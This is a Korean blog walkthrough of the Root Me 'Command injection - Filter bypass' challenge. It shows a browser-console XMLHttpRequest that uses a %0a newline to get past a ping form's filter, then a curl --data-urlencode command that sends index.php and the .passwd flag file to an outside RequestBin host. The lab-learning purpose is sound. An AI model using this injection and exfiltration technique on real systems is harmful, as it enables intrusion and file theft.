워게임/Root Me

[Root Me] Command injection - Filter bypass - 웹해킹 / RequestBin

SecurityMan 2022. 8. 9. 11:00

 

예전에 풀었던 Command injection 문제의 업그레이드 버전이다.

(https://hackingstudypad.tistory.com/74)

 

이전 문제 풀이를 읽어보면 이해하는데 조금 더 도움이 될것같다.

 

10점에서 30점으로 점수가 팍 오른 두번째 문제

 

그만큼 생각을 좀 해야한다.

 

반응형

 

문제의 목표는 웹페이지의 취약점을 찾아 exploit 하는것이다.

 

플래그는 index.php 파일안에서 찾을 수 있다고 한다.

 

 

문제페이지에 들어가면 입력창이 하나 있고, 제출 버튼이 나온다.

 

입력창에는 기본으로 127.0.0.1이 들어가 있다.

 

일단 먼저 제출버튼을 눌러본다.

 

 

제출을 누르면 Ping OK 라는 문구가 출력된다.

 

이전 문제는 ping 127.0.0.1 -c 3 명령어의 실행 결과가 그대로 출력됐는데,

 

이번에는 단순이 명령어 실행 성공 여부만 출력되고 있다.

 

 

첫번째 문제 풀었던것 처럼

 

세미콜론을 이용해서 두개의 명령을 실행시켜 본다.

 

127.0.0.1;ls 라고 입력했더니

 

이번엔 필터가 걸려있는지 Syntax Error 라고 출력이 된다.

 

 

Command injection 공격기법 중에 이렇게 필터링이 걸려있을 경우

 

%0a 를 사용해서 우회하는 기법이 있다.

 

자바스크립트를 사용해서 한번 우회를 시도해본다.

 

 

먼저 f12를 눌러 개발자도구의 네트워크 탭에서

 

index.php - 페이로드를 눌러 서버로 데이터가 어떻게 전달되는지 살펴본다.

 

ip 변수에 사용자가 입력한 값을 담아서 전달하고 있는걸 알 수 있다.

 

 

개발자도구의 콘솔 창에서 이렇게 입력해준다.

 

client=new XMLHttpRequest();
client.open('POST', 'http://challenge01.root-me.org/web-serveur/ch53/', true);
client.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
client.send('ip=127.0.0.1%0a');

 

new XMLHttpRequest() 로 객체를 생성한다.

 

XMLHttpRequest() 는 요청 패킷의 헤더를 수정할 수 있게 해주는 클래스라고 보면 된다.

 

그다음 open 을 이용해 메서드, URL, 동기화여부를 설정해 준다.

 

그리고나서 POST 방식을 쓸때 요청 헤더에 들어갈 내용을 입력해준다.

 

폼을 이용해 POST로 데이터를 전달할때

 

헤더에 Content-Type:application/x-www-html-form-urlencoded 를 넣어줘야 한다.

 

마지막으로 send 함수를 이용해 전달할 데이터 ip=127.0.0.1%0a 를 적어주면 된다.

 

 

자바스크립트 코드를 입력하고 네트워크 탭으로 가보면

 

요청 패킷이 서버로 전달된 뒤 서버로부터 온 응답 패킷을 확인할 수 있다.

 

명령어거 잘 수행되어서 Ping OK 라는 답변이 왔다.

 

%0a에 대해서 필터링이 되어있지 않은 것이다.

 

이제 공격할 명령어를 뒤에 이어서 써주면 된다.

 

 

공격을 하기전에 응답을 받을 서버를 하나 열어놔야 하는데

 

서버를 만들기 귀찮다면 RequestBin 이라는 사이트를 이용하면 된다.

(https://requestbin.net/)

 

간단하게 패킷을 받아줄 수 있는 임의의 서버를 바로 만들 수 있다.

 

toah8r6zmyvxrs8f.b.requestbin.net 라는 주소를 가지는 가상의 서버를 하나 만든 셈이다.

 

 

그러고 나서 다시 개발자도구의 콘솔 탭에서 

 

자바스크립트 코드를 입력해준다.

 

나머진 다 똑같고 마지막 send 만 바꿔주면 된다.

 

복잡해보이는데 

 

curl --data-urlencode "name@filename" 내 서버 주소

 

이런식으로 명령어를 입력하면 된다.

 

 

다시 RequestBin 으로 가보면 

 

curl 명령어가 제대로 실행되어서 

 

index.php 파일의 내용이 전달된 것을 볼 수 있다.

 

중간에 보면 flag는 file_get_contents 함수로 .passwd 파일에서 내용을 가져오는것을 확인할 수 있다.

 

 

다시한번 개발자도구로 가서 코드를 수정해준다.

 

진짜 플래그가 담겨있는 .passwd 파일을 지정해주면 된다.

 

 

다시 RequestBin 으로 돌아가면

 

숨겨져있던 플래그가 적혀있는것을 볼 수 있다.

반응형